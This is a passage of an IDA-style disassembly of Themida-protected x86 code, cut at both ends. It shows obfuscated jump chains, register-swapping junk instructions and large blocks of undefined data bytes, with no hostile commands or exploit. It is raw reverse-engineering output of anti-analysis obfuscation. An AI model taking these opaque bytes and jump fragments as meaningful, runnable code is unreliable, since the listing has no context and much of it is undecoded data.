		dd 6DB9240Ch, 813D4378h, 0C00031F1h, 4EC8134h, 89000000h
		dd 2C83240Ch, 81590124h, 820E94F1h, 0CBE98108h,	0E9010176h
		dd 0FFFFAD86h, 83242C8Bh, 0EA8104C4h, 0C7554606h, 815AD321h
		dd 0E94D5DF3h, 5BDA0929h, 242C8352h, 685FE9FFh,	68560000h
		dd 35E36C4Fh, 9502E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A119:				; CODE XREF: Themida_:0055CD32j
		mov	ecx, 7CE66145h
		shl	ecx, 2
		jmp	loc_559694
; ---------------------------------------------------------------------------


loc_55A126:				; CODE XREF: Themida_:0054FD0Aj
		mov	[esp], ebx
		push	7004h
		mov	[esp], esi
		push	ecx
		mov	ecx, 3D740E0Fh
		jmp	loc_562872
; ---------------------------------------------------------------------------


loc_55A13C:				; CODE XREF: Themida_:005550B3j
		pop	ecx
		push	eax
		mov	eax, 2F50072Eh
		sub	ebp, eax
		jmp	loc_553540
; ---------------------------------------------------------------------------


loc_55A14A:				; CODE XREF: Themida_:0055570Fj
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55D91F
; ---------------------------------------------------------------------------


loc_55A154:				; CODE XREF: Themida_:00558653j
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_55F49A
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 515F25BEh, 8EEC101h,	0FFCEF4E9h, 241433FFh, 6F06E9h
		dd 4C48100h, 0F7000000h, 0DBDFE9D5h, 0F281FFFFh, 58FB58E3h
		dd 7C8EC181h, 0D1011E77h, 80B95156h, 0F753805Bh, 0CFE181D1h
		dd 816F2D36h, 0C2AF9BE9h, 0E9CE89E0h, 6A4Eh
; ---------------------------------------------------------------------------


loc_55A1BC:				; CODE XREF: Themida_:00556C44j
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5625D3
; ---------------------------------------------------------------------------


loc_55A1CB:				; CODE XREF: Themida_:00560BC4j
		shr	al, 2
		inc	al
		shr	al, 5
		xchg	cl, al
		not	cl
		xchg	cl, al
		xor	al, 0C5h
		mov	ch, al
		mov	eax, [esp]
		add	esp, 4
		add	al, 0F2h
		jmp	loc_56448A
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 2F466824h, 0C15F2C58h, 15E905E7h, 8BFFFFD9h,	0C4832434h
		dd 4CBD5504h, 450E7F54h, 0CD81EDD1h, 66233AA3h,	0C581D5F7h
		dd 5651D6ACh, 0E95DE829h, 861Ah, 8904EC83h, 4832424h, 815E0424h
		dd 4C6h, 0BE565500h, 57240465h,	0C108E6C1h, 0D6F708E6h
		dd 0FF7AF7E9h, 24148BFFh, 4C481h, 6C010000h, 6C810424h
		dd 3B640424h, 54E92310h, 0B7FFFF70h, 0E9F828ADh, 0FFFF975Ah
		dd 0F9E9D1F7h, 0B800002Eh, 3F354993h, 2958C289h, 0C1815AD1h
		dd 51730775h, 14E9D101h, 0FFFFFFE9h, 0C8B2434h,	4C48324h
		dd 79D668h, 24348900h, 13FC68h,	0A2CE900h, 0E0890000h
		dd 0FF74A0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A2A9:				; CODE XREF: Themida_:00558037j
		push	esi
		mov	esi, 63F31104h
		shr	esi, 8
		jmp	loc_55B6A1
; ---------------------------------------------------------------------------


loc_55A2B7:				; CODE XREF: Themida_:005568EBj
		sub	edx, 0A4F6580Dh
		sub	ebp, edx
		jmp	loc_55D149
; ---------------------------------------------------------------------------


loc_55A2C4:				; CODE XREF: Themida_:0055E441j
		push	3DA7h
		mov	[esp], ecx
		jmp	loc_556336
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 7
		dd 15B2EB81h, 29E95DFAh
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, esp
		push	ecx
		jmp	loc_556C1E
; ---------------------------------------------------------------------------
		db 55h
		dd 64436853h, 0C15B0CCDh, 0F38108E3h, 9469095Eh, 25E9DD89h
		dd 83FFFFA0h, 1C8904ECh, 5D8FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A30E:				; CODE XREF: Themida_:005612ADj
		push	5D33h
		mov	[esp], esi
		mov	esi, 31CD4087h
		push	ecx
		mov	ecx, esi
		jmp	loc_559404
; ---------------------------------------------------------------------------
		db 57h
		dd 4BA52h, 15E90000h, 0BAFFFFADh, 32882F54h, 0C102EAC1h
		dd 0D2F703EAh, 220BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A341:				; CODE XREF: Themida_:00554895j
		mov	edi, 3F2E7BC1h
		or	eax, edi
		pop	edi
		xor	eax, 3F7E7BEFh
		add	ebp, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	small 62B1h
		mov	[esp], cx
		jmp	loc_54F816
; ---------------------------------------------------------------------------
		dd 0E904C483h, 62E8h, 405h, 4E88300h, 5C240487h, 4E25E9h
		dd 0EE815B00h, 432E1DE6h, 0FF5A29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A3A5:				; CODE XREF: Themida_:00561AC2j
		push	edi
		push	ebp
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 5DC5C4Dh
		jmp	loc_55C563
; ---------------------------------------------------------------------------
		dd 0E95DEA01h, 0FFFFD051h, 53E9E589h, 81000049h, 0C629BEEh
		dd 0B7C68143h, 595F8D00h, 6C47E9h, 0E8295900h, 56A9055Dh
		dd 0FFE90D7Fh
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A3EB:				; CODE XREF: Themida_:00558F47j
		push	esi
		jmp	loc_5601DB
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF541DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A3F9:				; CODE XREF: Themida_:0055DE29j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_562E4A
; ---------------------------------------------------------------------------
		dd 38D7EF81h, 2C8B760Ch, 1FDBE924h, 0D15A0000h,	0B5E981E1h
		dd 8106EF0Dh, 0FC0514E1h, 5FD2E955h, 0E9520000h, 0FFFFEF1Bh
		dd 0D828D704h, 2EC81h, 89660000h, 5AE9241Ch, 89FFFFCFh
		dd 4C181E1h, 81000000h,	4ECh, 24148900h, 4BAh, 0C4E98100h
		dd 163CD56h, 9001E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A462:				; CODE XREF: Themida_:0055D1E2j
		shl	edx, 3
		push	edi
		mov	edi, 0C3DD3EE6h
		xor	edx, edi
		pop	edi
		add	edi, edx
		pop	edx
		push	edx
		sub	esp, 4
		mov	[esp], edi
		add	dword ptr [esp], 36320A9h
		mov	edx, [esp]
		push	ebp
		jmp	loc_559954
; ---------------------------------------------------------------------------


loc_55A48B:				; CODE XREF: Themida_:0055058Bj
		shr	eax, 0Eh
		xor	eax, ecx
		push	3B62h
		mov	[esp], eax
		push	577h
		jmp	loc_5511F3
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 815D5424h, 4C5h, 637F6800h, 34890000h, 4BE24h, 0F5010000h
		dd 242C335Eh, 5291E9h, 534CE900h, 0BD55FFFFh, 5A50A37h
		dd 310FB951h, 8141311Dh, 952461E9h, 50D1F70Dh, 1401E9h
		dd 59545100h, 4EF768h, 24148900h, 0FFACC5E9h, 5BF281FFh
		dd 2957506Dh, 0F9895AD7h, 0A9EDE9h, 5E8C100h, 781FC735h
		dd 8BC18903h, 0C4812404h, 4, 4EC81h, 4890000h, 79CBB824h
		dd 0F62D5DE4h, 0E97B3675h, 64DAh
; ---------------------------------------------------------------------------


loc_55A530:				; CODE XREF: Themida_:005589CDj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		shr	esi, 4
		jmp	loc_5565A9
; ---------------------------------------------------------------------------
		dd 0E95085B7h, 0FFFF5F33h, 0FF52BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A559:				; CODE XREF: Themida_:0055871Aj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_564A1A
; ---------------------------------------------------------------------------


loc_55A56A:				; CODE XREF: Themida_:00557451j
		pop	edi
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5546A7
; ---------------------------------------------------------------------------
		dd 41C2814Ah, 89D1CBADh, 58515AD1h, 55E82959h, 0FFC0A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A591:				; CODE XREF: Themida_:00550C8Ej
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		push	small 35F8h
		mov	[esp], bp
		mov	bp, 778Dh
		jmp	loc_564FB3
; ---------------------------------------------------------------------------


loc_55A5AE:				; CODE XREF: Themida_:0056448Cj
		sub	al, 0F2h
		pop	ecx
		push	small 27DDh
		jmp	loc_55C078
; ---------------------------------------------------------------------------


loc_55A5BA:				; CODE XREF: Themida_:00563F71j
		dec	edx
		xor	edx, 855D28DDh
		jmp	loc_55F8E0
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24048904h, 53E9B1B0h, 5CFFFFFEh, 0D7E9F030h,	0F7FFFFCAh
		dd 0E2C142D2h, 0A4E95706h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A5E7:				; CODE XREF: Themida_:0055A6ADj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 94F2BB1h
		push	esi
		xchg	esi, [esp]
		not	esi
		jmp	loc_55B677
; ---------------------------------------------------------------------------


loc_55A604:				; CODE XREF: Themida_:00555F70j
		add	esp, 2
		sub	bl, 58h
		push	eax
		mov	al, 4
		and	al, 62h
		not	al
		shr	al, 7
		dec	al
		xor	al, 5Ah
		sub	bl, al
		pop	eax
		add	bl, al
		push	4595h
		mov	[esp], ecx
		mov	cl, 37h
		push	ebx
		mov	bl, 38h
		inc	bl
		jmp	loc_563689
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aH7		db '$h7',0
		align 2
		dw 1C89h
		dd 815B5424h, 4ECh, 240C8900h, 4B9h, 8BCB0100h,	0DBE9240Ch
		dd 89FFFFE3h, 0E6892434h, 1F9468h, 7ECCE900h, 34FFFFFFh
		dd 2434FF24h, 4C48358h,	0FFDBD4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A675:				; CODE XREF: Themida_:005615A5j
		mov	eax, [esp]
		push	1945h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_55D17B
; ---------------------------------------------------------------------------
		db 89h
		dd 3EE9241Ch, 81FFFFEEh, 597B8CC1h, 0C1815B73h,	3CC81C1Fh
		dd 0B4E9D101h, 89FFFF87h, 0E950241Ch, 0FFFF6BB1h
; ---------------------------------------------------------------------------


loc_55A6AC:				; CODE XREF: Themida_:005569DFj
		pop	esi
		jmp	loc_55A5E7
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0F1A7D130h, 15DE831h, 3C8758C7h, 24248B24h, 2118E9h
		dd 0E9CAB000h, 0FFFF5A3Eh, 4047EA81h, 0E95D2D3Eh, 0FFFF513Ah
		dd 0FF241489h, 8B042474h, 89562414h, 21B951E6h,	4151ED19h
		dd 0B6F18141h, 4129F26Bh, 8C85E9h, 81685D00h, 89000061h
		dd 5CBA2414h, 811FAA49h, 0CE50DEEAh, 6EAC15Ah, 0FF7238E9h
		dd 0E9515BFFh, 0FFFFBA94h, 6EBF5755h, 0F715DE06h, 8362E9DFh
		dd 0CB810000h, 3161206Bh, 37EFF381h, 0CEE977F1h, 29000010h
		dd 815E5FFAh, 4814DFC2h, 81CA2913h, 4814DFEAh, 59C28113h
		dd 5961D238h, 64D5C281h, 0C2017F72h, 4EC8150h, 89000000h
		dd 73E9240Ch, 56FFFF52h, 4EC81h, 24890000h, 24048324h
		dd 0C6815E04h, 4, 55E78957h, 4BDh, 0B3C78100h, 1269460h
		dd 0B3EF81EFh, 5D269460h, 6F31E9h, 43E3D100h, 1650C381h
		dd 0E94B3C6Bh, 0FFFF84CAh
; ---------------------------------------------------------------------------


loc_55A7B0:				; CODE XREF: Themida_:00563C0Fj
		shl	esi, 5
		inc	esi
		push	edi
		mov	edi, 10500205h
		jmp	loc_553B3C
; ---------------------------------------------------------------------------


loc_55A7BF:				; CODE XREF: Themida_:0055536Fj
		mov	al, cl
		pop	ecx
		push	ecx
		mov	ch, al
		mov	bl, ch
		jmp	loc_55E713
; ---------------------------------------------------------------------------


loc_55A7CC:				; CODE XREF: Themida_:0055DC63j
		push	esi
		push	dword ptr [esp]
		jmp	loc_55793C
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 87000000h, 8F5C243Ch, 248B2404h, 23016824h, 4890000h
		dd 5024E924h, 6859FFFFh, 4BB6h,	5AE4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A7FD:				; CODE XREF: Themida_:0055DB41j
		add	edi, 0C2B8FB81h
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 0Bh
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_559CF4
; ---------------------------------------------------------------------------
		dw 1489h
		dd 4EC8324h, 0FF8CA7E9h, 88C288FFh, 48B5AD1h, 4C48124h
		dd 5A000000h, 0E97CB652h, 487Fh, 57243489h, 0E924348Bh
		dd 0A19Ah, 0D15BDE89h, 4FFE87E6h, 0E904EC83h, 0FFFFFFE4h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 698FF181h,	0CE01E3B9h
		dd 0FFBF89E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A87D:				; CODE XREF: Themida_:00555EC3j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		push	6225500Ch
		pop	edi
		push	edx
		mov	edx, 0FFD5014h
		push	ebx
		mov	ebx, 0AE7035DEh
		sub	edx, ebx
		pop	ebx
		jmp	loc_556EA8
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 34B368h, 24348900h, 81E78957h, 4C7h,	4EF8300h, 58B5E9h
		dd 0EDEA8100h, 294DFF75h, 0ED815AD5h, 0E3B45C2h, 3809C581h
		dd 0ED81687Ch, 79107E72h, 2D5DE829h, 68993DBEh,	0BE05C829h
		dd 0E968993Dh, 0FFFFD0EEh, 0C281E289h, 4, 4EA81h, 58E90000h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A8FF:				; CODE XREF: Themida_:0055AA80j
		xchg	edx, [esp]
		mov	esp, [esp]
		pop	ecx


loc_55A906:				; CODE XREF: Themida_:00555F8Fj
					; Themida_:loc_55DF4Aj
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5528F6
; ---------------------------------------------------------------------------


loc_55A91B:				; CODE XREF: Themida_:0055C824j
		mov	eax, esp
		add	eax, 4
		jmp	loc_561AB6
; ---------------------------------------------------------------------------


loc_55A927:				; CODE XREF: Themida_:005578A3j
		pop	esp
		push	ebp
		mov	ebp, 7F891940h
		push	eax
		mov	eax, 8076E6C1h
		jmp	loc_555B02
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0FBh
		dd 15E395Eh, 89565BDFh,	4C681E6h, 83000000h, 0FF5604EEh
		dd 0FF042474h, 0E95E2434h, 6110h
; ---------------------------------------------------------------------------


loc_55A95C:				; CODE XREF: Themida_:00553A65j
		inc	dl
		push	ecx
		jmp	loc_553FAB
; ---------------------------------------------------------------------------


loc_55A964:				; CODE XREF: Themida_:00554399j
		mov	edi, 66687EE1h
		sub	edi, 17A21028h
		jmp	loc_555966
; ---------------------------------------------------------------------------
		dd 2414335Bh, 2322E9h, 2434FF00h, 0FFAF6CE9h, 4C681FFh
		dd 0E9000000h, 6011h, 0E7BA5255h, 0E951E766h, 0FFFFA943h
		dd 8124348Bh, 4C4h, 535B5A00h, 5C93E9h,	4B95100h, 1000000h
		dd 9741E9CFh, 0D1280000h, 30D1305Ah, 0F6D130CAh, 0B40BE9D2h
		dd 3C33FFFFh, 2EE95C24h, 1000093h, 49B82DE8h, 595D694Dh
		dd 38E68h, 242C8900h, 564436BDh, 46F58756h, 834DF587h
		dd 2C8904ECh, 0D201E924h, 10BBFFFFh, 81520940h,	8A023BE3h
		dd 4BC38111h, 0F73B8613h, 81D3F7D3h, 0B466B1F3h, 0E9DD896Ah
		dd 0FFFFB6CDh, 39CB6866h, 241C8966h, 63BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55AA29:				; CODE XREF: Themida_:00553A4Aj
		mov	eax, esi
		push	ecx
		mov	ecx, eax
		mov	ebx, ecx
		pop	ecx
		jmp	loc_55E698
; ---------------------------------------------------------------------------
		dw 9C68h
		dd 0E900006Bh, 0FFFFB646h, 2773B951h, 0EA813BF9h, 4A0742C2h
		dd 0C281CA29h, 4A0742C2h, 0FA6BE959h, 8B59FFFFh, 0EC83241Ch
		dd 243C8904h, 1EE9E789h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AA6B:				; CODE XREF: Themida_:00564692j
		push	ebx
		mov	ebx, 4
		add	edx, 68E74C96h
		add	edx, ebx
		sub	edx, 68E74C96h
		pop	ebx
		jmp	loc_55A8FF
; ---------------------------------------------------------------------------


loc_55AA85:				; CODE XREF: Themida_:0055460Aj
		mov	[esp], esi
		jmp	loc_55ED0B
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 52h
		dd 4BAh, 8A81E900h, 0D589FFFFh,	393CE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AAA2:				; CODE XREF: Themida_:0055D524j
		push	5AFCh
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_56310C
; ---------------------------------------------------------------------------
		dd 7414C681h, 83581DCEh, 48904ECh, 2B824h, 0C6290000h
		dd 0FFC930E9h, 0CDE956FFh
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AAD3:				; CODE XREF: Themida_:00557857j
		push	esi
		jmp	loc_55D348
; ---------------------------------------------------------------------------
		db 5Bh,	83h, 0C4h
		dd 4EE8104h, 68000000h,	4BCAh, 0FF243489h, 0E9042474h
		dd 0FFFF7268h, 144FEA81h, 0D60127F1h, 4C6835Ah,	5C243487h
		dd 0FFF286E9h, 4EC83FFh, 0E9243C89h, 0FFFFE33Ah
; ---------------------------------------------------------------------------


loc_55AB14:				; CODE XREF: Themida_:00553F6Cj
		mov	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_553D7D
; ---------------------------------------------------------------------------
		dw 5057h
		dd 0C35593B8h, 0BBA5214h, 0E925F927h, 0FFFF4D78h, 7ED4F0BAh
		dd 1795E9FBh, 0C1810000h, 7875BCDh, 4BD555Bh, 1000000h
		dd 0F4685DE9h, 89000073h, 74FF240Ch, 0C8B0424h,	3E4EE924h
		dd 0B8500000h, 3BE80561h, 30734935h, 0F6F10559h, 0C189B9CEh
		dd 415CE9h, 37EB8100h, 1479268h, 37C381F3h, 8B479268h
		dd 0E6E92434h, 55FFFFECh, 2434FF54h, 4C4835Dh, 10E95156h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AB9F:				; CODE XREF: Themida_:0055BEB3j
		pop	esp
		sub	edx, 46480DF4h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0DCBEC984h
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, edx
		push	dword ptr [esp]
		jmp	loc_563283
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0E9008F24h, 0FFFF4C46h, 4240481h, 0E9000000h, 6B0h
		dd 0D2F79259h, 0FEBE5692h, 1541B57h, 0E86E9F0h,	148B0000h
		dd 0CFC9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ABF6:				; CODE XREF: Themida_:00564776j
		mov	ecx, esp
		jmp	loc_55178C
; ---------------------------------------------------------------------------
		db 1, 0D0h, 5Ah
		dd 0E958C131h, 4D1h, 64A868h, 6716E900h, 0FF530000h, 0E9042474h
		dd 8A53h, 405E089h, 83000000h, 48704C0h, 3C875C24h, 0D3665C24h
		dd 0E99C2404h, 0FFFF4BDEh, 0E9595451h, 7E99h, 494EBF57h
		dd 0E7C14274h, 0DFF74707h, 446CE9h, 0D1C18100h,	810B386Dh
		dd 46007BC1h, 81E9291Ah, 46007BE9h, 0FDBE561Ah,	8120906Bh
		dd 0F56C71C6h, 1EE68119h, 0C1656829h, 0E68102EEh, 0A3878BAh
		dd 327FE9h, 54535900h, 0B951505Bh, 9DD2F4Dh, 6DA6C181h
		dd 0B6E95A7Eh
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AC9B:				; CODE XREF: Themida_:005593F7j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	eax
		jmp	loc_55C361
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 8C5688C3h, 2EBC175h,	0F9E5F381h, 8955563Eh, 0E0E0E9DDh
		dd 0EC81FFFFh, 4, 36FDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55ACD9:				; CODE XREF: Themida_:0055F783j
		or	edx, eax
		jmp	loc_557956
; ---------------------------------------------------------------------------
		dd 6824248Bh, 3216h, 0E9243489h, 0FFFFE526h
; ---------------------------------------------------------------------------


loc_55ACF0:				; CODE XREF: Themida_:00557281j
		add	esp, 4
		mov	ecx, 44C44F88h
		sub	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	16B9h
		jmp	loc_556C0E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 2A990504h, 0F80140A1h, 3433B951h, 0C18161EDh
		dd 0DEB3F666h, 0FF8689E9h, 0E28952FFh, 4C281h, 0EA810000h
		dd 4, 0E9241487h, 0FFFF8C7Ch
; ---------------------------------------------------------------------------


loc_55AD40:				; CODE XREF: Themida_:00557F6Cj
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_554660
; ---------------------------------------------------------------------------


loc_55AD4F:				; CODE XREF: Themida_:00559A35j
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [edi+20h]
		push	ebp
		jmp	loc_562590
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 4E981h, 0C330000h, 240C3124h,	5C240C33h
		dd 68241489h, 28AB0A31h, 0B95E9h, 0E9FD8800h, 501Eh, 4C281h
		dd 0EA810000h, 4, 6FA1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AD99:				; CODE XREF: Themida_:00555B36j
		add	esp, 4
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_5595E8
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 5CA9BF57h, 0C7813755h, 0C8AAA35Bh, 335FFB29h, 1C31241Ch
		dd 241C3324h, 2424895Ch, 4240483h, 53242C8Bh, 241C8B54h
		dd 4C481h, 0C3810000h, 4, 4BE56h, 0F3010000h, 241C875Eh
		dd 0E924248Bh, 85D4h, 185B212Dh, 0C8B5E16h, 4C48124h, 51000000h
		dd 0D81141B9h, 42F18168h, 497FDC5Fh, 73A1E181h,	0C1814AADh
		dd 0D4C2863h, 2626BF57h, 574F24BFh, 5F2414F7h, 0DFF7DFF7h
		dd 2F18BE56h, 0C7E981E0h, 53000026h, 0B07E9h, 40500h, 42D0000h
		dd 87000000h, 0E95C2404h, 2E87h, 9C240409h, 0FF49B1E9h
		dd 80F328FFh, 148B76C3h, 4C48124h, 0E9000000h, 0FFFFCA9Fh
; ---------------------------------------------------------------------------


loc_55AE78:				; CODE XREF: Themida_:0055E182j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	6D63h
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 55A8622Ah
		jmp	loc_559A79
; ---------------------------------------------------------------------------


loc_55AE96:				; CODE XREF: Themida_:005502DEj
		push	esi
		mov	esi, 0E529D83Ah
		add	edi, esi
		jmp	loc_55F268
; ---------------------------------------------------------------------------
		db 81h
		dd 3E4047C2h, 0E9EA012Dh, 0FFFFF820h, 4A42EA81h, 0F2816D07h
		dd 0B7E8ACAEh, 15AD729h, 46BB53DFh, 0E9067C67h,	5445h
		dd 4BF57h, 0DA050000h, 156817Eh, 3805E9F8h, 0F2810000h
		dd 336228h, 0B6E9D721h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AEEB:				; CODE XREF: Themida_:00561455j
		mov	edi, 1AE74716h
		xor	ecx, edi
		pop	edi
		jmp	loc_56426D
; ---------------------------------------------------------------------------
aIrs		db '',8,'*',0
		dw 0C100h
		dd 0F68103EEh, 9937B04Dh, 295EF029h, 0C68158C6h, 1E1178Ch
		dd 8124048Bh, 4C4h, 341EE900h, 14890000h, 80E9B624h, 0F300CCC3h
		dd 5ACCEB80h, 0F69EB80h, 48DC0B6h, 3FA96887h, 4890000h
		dd 48D0E924h, 0FB89FFFFh, 246C815Fh, 0C4540004h, 245C017Eh
		dd 24448104h, 0C4540004h, 241C8B7Eh, 5B04C483h,	0DBF5750h
		dd 0B80B615Ah, 0F49EA5F7h, 72C0A05h, 51F80164h,	72C0AB9h
		dd 59C82964h, 525EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55AF85:				; CODE XREF: Themida_:0056337Dj
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, 51DB0FDBh
		mov	ecx, 0EEEF3A9Ch
		add	ecx, eax
		pop	eax
		mov	eax, ecx
		pop	ecx
		mov	ecx, eax
		pop	eax
		xor	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_557009
; ---------------------------------------------------------------------------
		dd 5FF82958h, 5A2434FFh, 555E5456h, 7B3607BDh, 5E5C128h
		dd 4D08E5C1h, 7B0AE581h, 0C5813551h, 0DBBFA4FAh, 2C8BEE01h
		dd 4C48124h, 81000000h,	4C6h, 24348700h, 0E924248Bh, 0FFFFDF5Ch
		dd 0E9242489h, 0FFFFD836h
; ---------------------------------------------------------------------------


loc_55AFF8:				; CODE XREF: Themida_:0055E1E2j
		pop	edx
		jmp	loc_5522E4
; ---------------------------------------------------------------------------
		dw 0E681h
		dd 1D2B5223h, 0D92F681h, 0F02D1F6Ah, 1449B13h, 13F005F0h
		dd 5A5E449Bh, 31E3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B01D:				; CODE XREF: Themida_:0054FBC6j
		shr	esi, 2
		jmp	loc_55FF12
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0CD7CE904h, 2C89FFFFh, 76746824h, 14890000h,	20856824h
		dd 4CE92117h, 0BF000014h, 62F81810h, 8170E2B8h,	0EF38E971h
		dd 3BBFFFFh, 0E961BE02h, 69Fh, 0E9FE0158h, 0FFFFD6D8h
		dd 0FE888FB7h
dword_55B068	dd 241C8B66h, 2C481h, 0C6800000h, 0FEE6D0FFh, 0A3F680CEh
					; DATA XREF: Themida_:00551A81o
		dd 148BF088h, 4C48124h,	53000000h, 0FF6E00E9h, 33BB53FFh
		dd 0E93ECD5Dh, 107Fh, 8B9DE95Dh, 248B0000h, 48B6624h, 1BB06824h
		dd 0ECE90000h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B0AF:				; CODE XREF: Themida_:0055CDB2j
		push	13EAh
		mov	[esp], ecx
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	esi
		jmp	loc_558342
; ---------------------------------------------------------------------------
		db 1, 4Ch, 24h
		dd 3F9FE904h, 0F1810000h, 0BF487CD6h, 0E959CA01h, 0FFFFA07Ah
; ---------------------------------------------------------------------------


loc_55B0F0:				; CODE XREF: Themida_:0055997Aj
		not	ecx
		xchg	ecx, [esp]
		pop	eax
		jmp	loc_557883
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 330CE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B106:				; CODE XREF: Themida_:0055B471j
		pop	ebp
		sub	edi, 3AA97A62h
		push	edx
		mov	edx, 6F867052h
		add	edx, 19FF5247h
		sub	edx, 155862D9h
		jmp	loc_5584D5
; ---------------------------------------------------------------------------


loc_55B124:				; CODE XREF: Themida_:00562857j
		add	eax, 4
		jmp	loc_558A9B
; ---------------------------------------------------------------------------
		dd 68B9EB80h, 1137h, 0FF9509E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B139:				; CODE XREF: Themida_:00560A40j
		not	dword ptr [esp]
		jmp	loc_55898A
; ---------------------------------------------------------------------------
		db 68h,	9Eh, 3
		dd 0C890000h, 4B924h, 87E90000h, 1FFFF66h, 69DA2DD0h, 67E90256h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B15F:				; CODE XREF: Themida_:00555A6Dj
		mov	edi, esi
		pop	esi
		mov	ecx, 8CAA7DCFh
		add	ecx, 2EB73952h
		sub	ecx, edi
		jmp	loc_5609BC
; ---------------------------------------------------------------------------
